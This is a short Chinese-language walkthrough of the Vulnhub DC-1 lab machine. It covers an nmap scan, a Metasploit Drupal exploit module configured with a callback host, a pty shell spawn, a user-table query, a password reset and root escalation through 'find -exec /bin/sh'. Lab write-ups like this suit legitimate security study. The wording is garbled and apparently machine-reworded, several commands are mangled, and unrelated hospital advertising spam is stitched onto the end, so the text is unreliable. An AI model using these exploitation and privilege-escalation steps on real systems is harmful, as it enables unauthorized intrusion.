Vulnhub:DC1

0X00生态

kali：192.168.1.28

0X01实战端口扫描 nmap -sV -A 192.168.1.9 访问HTTP服务

MSF载入与Drupal CMS方面的EXP

search drupal

漏洞并用

并用该模块并查看备有文件

use 2 show options

备有方面给定

set lhost 192.168.1.28 set rhosts 192.168.1.9

查看意味著使用者和系统版本

getuid sysinfo

shell并使界面有点较长时间

python -c 'import pty; pty.spawn("/bin/bash")' FLAG1

FLAG2FLAG3

select * from users;

.scriptspassword-hash.sh 123456

FLAG4

final-flag

find这个命令可能是以root越权执行的，我们随便find一个以下内容，而-exec可以作为find的一个可选择执行命令，失败得到root越权。

find ./ XMTX -exec '/bin/sh' ;

信阳看妇科去哪里比较好
深圳看白癜风去哪家医院最好
深圳看牛皮癣哪个医院最好
南昌男科挂号
武汉妇科专科医院哪个好